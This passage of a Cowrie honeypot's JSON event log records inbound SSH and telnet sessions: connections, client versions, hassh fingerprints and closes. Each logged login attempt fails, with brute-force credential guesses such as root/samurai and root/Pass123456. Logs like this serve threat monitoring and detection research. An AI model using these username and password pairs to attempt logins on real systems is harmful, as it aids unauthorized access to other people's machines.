s256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:05.461205Z","src_ip":"43.163.119.215","session":"caba9f8ebee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:05.724370Z","src_ip":"103.75.199.4","session":"fcb7a492621a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:06.177326Z","src_ip":"43.163.119.215","session":"caba9f8ebee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:07.418146Z","src_ip":"43.163.119.215","session":"caba9f8ebee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":60068,"dst_ip":"10.17.0.5","dst_port":22,"session":"9da3015d3923","protocol":"ssh","message":"New connection: 205.209.121.72:60068 (10.17.0.5:22) [session: 9da3015d3923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:10.093518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:10.098339Z","src_ip":"205.209.121.72","session":"9da3015d3923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:10.104110Z","src_ip":"205.209.121.72","session":"9da3015d3923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samurai","message":"login attempt [root/samurai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:10.155973Z","src_ip":"205.209.121.72","session":"9da3015d3923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:11.164209Z","src_ip":"205.209.121.72","session":"9da3015d3923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":37160,"dst_ip":"10.17.0.5","dst_port":22,"session":"15a66c8eee6b","protocol":"ssh","message":"New connection: 43.163.119.215:37160 (10.17.0.5:22) [session: 15a66c8eee6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:11.455973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:11.460110Z","src_ip":"43.163.119.215","session":"15a66c8eee6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:11.696613Z","src_ip":"43.163.119.215","session":"15a66c8eee6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:12.406567Z","src_ip":"43.163.119.215","session":"15a66c8eee6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:13.646906Z","src_ip":"43.163.119.215","session":"15a66c8eee6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":44794,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ee63ed28e34","protocol":"ssh","message":"New connection: 67.102.183.113:44794 (10.17.0.5:22) [session: 7ee63ed28e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:16.739410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:16.743991Z","src_ip":"67.102.183.113","session":"7ee63ed28e34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:16.814829Z","src_ip":"67.102.183.113","session":"7ee63ed28e34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"voyager","message":"login attempt [root/voyager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:17.127956Z","src_ip":"67.102.183.113","session":"7ee63ed28e34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:18.202404Z","src_ip":"67.102.183.113","session":"7ee63ed28e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":37512,"dst_ip":"10.17.0.5","dst_port":22,"session":"785af00f590b","protocol":"ssh","message":"New connection: 163.7.9.84:37512 (10.17.0.5:22) [session: 785af00f590b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:19.790377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:19.795592Z","src_ip":"163.7.9.84","session":"785af00f590b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:20.047823Z","src_ip":"163.7.9.84","session":"785af00f590b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123456","message":"login attempt [root/Pass123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:21.088220Z","src_ip":"163.7.9.84","session":"785af00f590b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:22.343234Z","src_ip":"163.7.9.84","session":"785af00f590b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60524,"dst_ip":"159.203.135.109","dst_port":22,"session":"5635ef21f5ad","protocol":"ssh","message":"New connection: 103.75.199.4:60524 (159.203.135.109:22) [session: 5635ef21f5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:26.109620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:26.113912Z","src_ip":"103.75.199.4","session":"5635ef21f5ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:26.204784Z","src_ip":"103.75.199.4","session":"5635ef21f5ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:26.476462Z","src_ip":"103.75.199.4","session":"5635ef21f5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:27.569545Z","src_ip":"103.75.199.4","session":"5635ef21f5ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":41462,"dst_ip":"159.203.135.109","dst_port":22,"session":"005c073b8f45","protocol":"ssh","message":"New connection: 43.153.46.75:41462 (159.203.135.109:22) [session: 005c073b8f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:31.250317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:31.253910Z","src_ip":"43.153.46.75","session":"005c073b8f45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:31.322241Z","src_ip":"43.153.46.75","session":"005c073b8f45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3333","message":"login attempt [root/3333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:31.630188Z","src_ip":"43.153.46.75","session":"005c073b8f45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":53612,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eaf65cd7737","protocol":"ssh","message":"New connection: 202.29.225.206:53612 (159.203.135.109:22) [session: 9eaf65cd7737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:32.298205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:32.303704Z","src_ip":"202.29.225.206","session":"9eaf65cd7737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:32.548419Z","src_ip":"202.29.225.206","session":"9eaf65cd7737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:32.701000Z","src_ip":"43.153.46.75","session":"005c073b8f45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bingo123","message":"login attempt [root/bingo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:33.568340Z","src_ip":"202.29.225.206","session":"9eaf65cd7737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:34.817029Z","src_ip":"202.29.225.206","session":"9eaf65cd7737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36222,"dst_ip":"10.17.0.5","dst_port":22,"session":"af850acdf3cc","protocol":"ssh","message":"New connection: 43.163.119.215:36222 (10.17.0.5:22) [session: af850acdf3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:36.365817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:36.370274Z","src_ip":"43.163.119.215","session":"af850acdf3cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:36.607080Z","src_ip":"43.163.119.215","session":"af850acdf3cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0013575553894,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:37.033232Z","src_ip":"186.189.112.16","session":"3975aef67c58","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:37.344274Z","src_ip":"43.163.119.215","session":"af850acdf3cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:38.585092Z","src_ip":"43.163.119.215","session":"af850acdf3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":57907,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f613b16dba2","protocol":"telnet","message":"New connection: 186.189.112.16:57907 (10.17.0.5:23) [session: 7f613b16dba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:41.382457Z"}
